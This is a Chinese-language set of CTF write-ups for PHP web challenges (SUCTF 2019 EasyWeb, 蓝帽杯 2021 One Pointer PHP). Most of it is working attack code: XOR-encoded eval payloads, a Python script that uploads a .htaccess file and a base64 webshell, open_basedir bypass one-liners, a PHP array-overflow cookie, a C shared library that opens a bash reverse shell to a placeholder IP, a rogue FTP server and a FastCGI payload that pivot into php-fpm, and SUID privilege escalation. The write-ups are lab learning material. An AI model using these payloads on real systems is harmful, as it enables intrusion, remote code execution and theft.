[极客大挑战 2019]RCE ME
Wallbreaker_Easy
绕过disabled function
狠简单 一把嗦
[SUCTF 2019]EasyWeb
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
$hhh = @$_GET['_'];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
?>
审计：
1.扩展名不能有ph
2.文件内容不能有<?
3.文件类型应为image
4.传参严格过滤，异或命令执行（这里取反无法实现，这里对长度有要求，所以自增也放弃）
绕过正则匹配，可以写一个php脚本来看看哪些字符可以利用：
<?php
for($test=0;$test<256;$test++){
if(!preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', chr($test))){
echo bin2hex(chr($test)).'';
}
}
?>
#运行结果：21 23 24 25 28 29 2a 2b 2d 2f 3a 3b 3c 3e 3f 40 5c 5d 5e 7b 7d 80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f 90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff
异或构造脚本1：
<?php
function finds($string)
{
$index = 0;
$a = [33, 35, 36, 37, 40, 41, 42, 43, 45, 47, 58, 59, 60, 62, 63, 64, 92, 93, 94, 123, 125, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255];
for ($i = 27; $i < count($a); $i++) {
for ($j = 27; $j < count($a); $j++) {
$x = $a[$i] ^ $a[$j];
for ($k = 0; $k < strlen($string); $k++) {
if (ord($string[$k]) == $x) {
echo $string[$k] . "\n";
echo '%' . dechex($a[$i]) . '^%' . dechex($a[$j]) . "\n";
$index++;
if ($index == strlen($string)) {
return 0;
}
}
}
}
}
}
finds("_GET");
G
%86^%c1
E
%86^%c3
T
%86^%d2
_
%86^%d9
payload:
?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=phpinfo
异或构造脚本2：（利用不可见字符）
<?php
$payload = '';
for($i=0;$i<strlen($argv[1]);$i++)
{
for($j=0;$j<255;$j++)
{
$k = chr($j)^chr(255); //dechex(255) = ff
if($k == $argv[1][$i])
$payload .= '%'.dechex($j);
}
}
echo $payload;
paylaod:
?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
异或构造脚本终极版3：
<?php
$l = "";
$r = "";
$argv = str_split("_GET"); ##将_GET分割成一个数组，一位存一个值
for($i=0;$i<count($argv);$i++){
for($j=0;$j<255;$j++)
{
$k = chr($j)^chr(255); ##进行异或
if($k == $argv[$i]){
if($j<16){ ##如果小于16就代表只需一位即可表示，但是url要求是2位所以补个0
$l .= "%ff";
$r .= "%0" . dechex($j);
continue;
}
$l .= "%ff";
$r .= "%" . dechex($j);
}
}}
echo "\{$l`$r\}"; ### 这里的反引号只是用来区分左半边和右半边而已
?>
输出：
\{%ff%ff%ff%ff`%a0%b8%ba%ab\}
payload：
?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
- 第二步上传文件
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag
不能包含<?，由于这里版本太高，所以无法使用
这里的解决方法是将一句话进行base64编码，然后在.htaccess中利用php伪协议进行解码
还有个文件头检测，好办，一般都用GIF89进行绕过，但是这里会出现问题，.htaccess文件会无法生效
我们可以使用#define width 1337 #define height 1337进行绕过，#在.htaccess中表示注释
.htaccess文件
#define width 1337
#define height 1337
AddType application/x-httpd-php .2333
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.2333"
shell.2333
GIF89a12 #12是为了补足8个字节，满足base64编码的规则
PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTs/Pg==
python上传脚本：(https://blog.csdn.net/five3/article/details/74913742)
import requests
import base64
htaccess = b"""
#define width 1337
#define height 1337
AddType application/x-httpd-php .2333
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.2333"
"""
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['cmd']);?>")
url = "http://16bc609d-419f-415e-87a2-41e60559313e.node4.buuoj.cn:81/?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=get_the_flag"
files = {'file': ('.htaccess', htaccess, 'image/jpeg')}
data = {"upload": "Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)
files = {'file': ('shell.2333', shell, 'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)
访问路径
upload/tmp_900ac3e4d76aad1dab295e4dcba99694/shell.2333
可以执行，但是好像无法读取根目录下的东西，可以读取/tmp的目录，不可以读取/etc的目录
存在open_basedir()限制
- bypass open_basedir（https://xz.aliyun.com/t/4720）
chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir("/"));
payload:
chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('/THis_Is_tHe_F14g'));
知识点
1、通过异或来绕过无数字无字母的函数执行
2、通过上传.htaccess来getshell，其中还包括，如何绕过exif_imagetype的过滤
3、绕过open_basedir
[蓝帽杯 2021]One Pointer PHP
至于怎么做到这一题的呢
因为复现羊城杯-Cross The Side想到的
#user.php
<?php
class User{
public $count;
}
?>
#add_api.php
<?php
include "user.php";
if($user=unserialize($_COOKIE["data"])){
$count[++$user->count]=1;
if($count[]=1){
$user->count+=1;
setcookie("data",serialize($user));
}else{
eval($_GET["backdoor"]);
}
}else{
$user=new User;
$user->count=1;
setcookie("data",serialize($user));
}
?>
- php数组溢出
题目给了两个源码，先看app_api.php，包含第一个user.php，关键点在于如果$count[]=1条件成立，则setcookie（不是我们想要的），条件不成立。则eval（我们想要的）
但是$count[]=1始终为真，这里利用php数组溢出，通过unserialize($_COOKIE["data"])，控制++$user->count导致溢出
作为PHP最重要的数据类型HashTable其key值是有一定的范围的，如果设置的key值过大就会出现溢出的问题，临界点是9223372036854775807这个数字。
php数组溢出
php数组key值溢出
加上反序列化：
payload:
O:4:"User":1:{s:5:"count";i:9223372036854775806;}
http://ad6b7418-6248-4047-909c-f67077e14d91.node3.buuoj.cn/add_api.php?backdoor=phpinfo();
修改cookie
抓包发现payload变成1了，自己改为9223372036854775806
-
disabled function绕过
过滤了各种命令执行函数，但是像scandir、file_get_contents、file_put_contents等目录和文件操作函数没有被过滤 -
利用chdir()与ini_set()组合
mkdir('j1a');chdir('j1a');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));
mkdir('j1a');chdir('j1a');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/flag');
根目录下发现flag，但是没有权限读，file_get_content读不到
猜测与权限有关，那我们就要想办法提权了，但是要提权则必须先拿到 Shell 执行命令，也就是得要先绕过disable_functions。
当读取/proc/self/cmdline时发现当前进程是php-fpm：
/app_api.php?backdoor=mkdir('j1a');chdir('j1a');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/proc/self/cmdline');
- 攻击php-fpm实现ssrf
通过ftp的被动模式，将新开启与客户端通信的端口改为127.0.0.1:9001，客户端将会将命令转发到本地的9001端口，由于php-fpm是不会验证合法性的，所以可以通过控制fastcgi协议通信的内容来加载恶意.so文件以及执行命令了
1）查看nginx配置/etc/nginx/nginx.conf
2）读取/etc/nginx/sites-enabled/*中的内容，得到fpm的端口为9001
phpinfo中也表明该项目为FPM/FastCGI，可以通过未授权打FPM RCE
3）生成恶意.so文件
生成扩展：
vi j1a.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void){
system("bash -c 'bash -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1'");
}
编译：
gcc j1a.c -fPIC -shared -o j1a.so
4）上传恶意.so文件
mkdir('j1a');chdir('j1a');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(copy('http://公网ip/j1a.so','/tmp/j1a.so'));
成功
5）搭建恶意ftp服务
#ftp.py
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 23))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()
记住端口23
6）生成php-fpm的payload
<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author Pierrick Charron <pierrick@webstart.fr>
* @version 1.0
*/
class FCGIClient
{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9001) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1) /* version */
. chr($type) /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF) /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */
. chr($clen & 0xFF) /* contentLengthB0 */
. chr(0) /* paddingLength */
. chr(0) /* reserved */
. $content; /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version'] = ord($data{0});
$ret['type'] = ord($data{1});
$ret['requestId'] = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved'] = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
// $this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
echo('data='.urlencode($request));
// fwrite($this->_sock, $request);
// do {
// $resp = $this->readPacket();
// if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
// $response .= $resp['content'];
// }
// } while ($resp && $resp['type'] != self::END_REQUEST);
// var_dump($resp);
// if (!is_array($resp)) {
// throw new Exception('Bad request');
// }
// switch (ord($resp['content']{4})) {
// case self::CANT_MPX_CONN:
// throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
// break;
// case self::OVERLOADED:
// throw new Exception('New request rejected; too busy [OVERLOADED]');
// break;
// case self::UNKNOWN_ROLE:
// throw new Exception('Role value not known [UNKNOWN_ROLE]');
// break;
// case self::REQUEST_COMPLETE:
// return $response;
// }
}
}
?>
<?php
// real exploit start here
//if (!isset($_REQUEST['cmd'])) {
// die("Check your input\n");
//}
//if (!isset($_REQUEST['filepath'])) {
// $filepath = __FILE__;
//}else{
// $filepath = $_REQUEST['filepath'];
//}
$filepath = "/var/www/html/add_api.php"; // 目标主机已知的PHP文件的路径
$req = '/'.basename($filepath);
$uri = $req .'?'.'command=whoami'; // 啥也不是, 不用管
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // 啥也不是, 不用管
$php_value = "unserialize_callback_func = system\nextension_dir = /tmp\nextension = tqy.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = "; //加载留在目标机器tmp目录下的恶意j1a.so文件
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => $filepath,
'SCRIPT_NAME' => $req,
'QUERY_STRING' => 'command=whoami',
'REQUEST_URI' => $uri,
'DOCUMENT_URI' => $req,
#'DOCUMENT_ROOT' => '/',
'PHP_VALUE' => $php_value,
'SERVER_SOFTWARE' => '80sec/wofeiwo',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9001',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_LENGTH' => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>
记得修改结尾的so文件目录&名称
//加载留在目标机器tmp目录下的恶意j1a.so文件
获得
data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%02%3B%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%AFPHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Ftmp%0Aextension+%3D+j1a.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0DSERVER_SOFTWARE80sec%2Fwofeiwo%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9001%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00
payload：
/add_api.php?backdoor=$file = $_GET['file'];$data = $_GET['data'];file_put_contents($file,$data);&file=ftp://公网ip:23/&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%02%3B%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%AFPHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Ftmp%0Aextension+%3D+j1a.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0DSERVER_SOFTWARE80sec%2Fwofeiwo%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9001%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00
记住端口23
file=ftp://公网ip:23/
当通过ftp连接到我们的恶意ftp上的时候就会重定向到127.0.0.1:9001，于是fpm就会解析我们发送的数据。
7）使用nc监听得到shell
8）suid提权
1.查找拥有suid权限的文件：
find / -perm -u=s -type f 2>/dev/null
可以看到php就有suid权限，可以直接进入交互界面查看flag：
mkdir('j1a');chdir('j1a');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents('/flag'));
这里踩了一个大坑， 我是先在本地gcc编译然后再用ftp上传的so文件，导致so文件没有执行权限，需要chmod一下
这里是tqy师兄指导我的
正确的姿势是直接在vps本地vi一个c文件，再gcc编译成so文件，直接拥有执行权限，如abc文件
还和mass师兄 ptr师兄学到了kill、ps进程命令
查看当前进程
ps -a
停止该PID进程
kill -9 PID
https://blog.csdn.net/baidu_41666198/article/details/97813890
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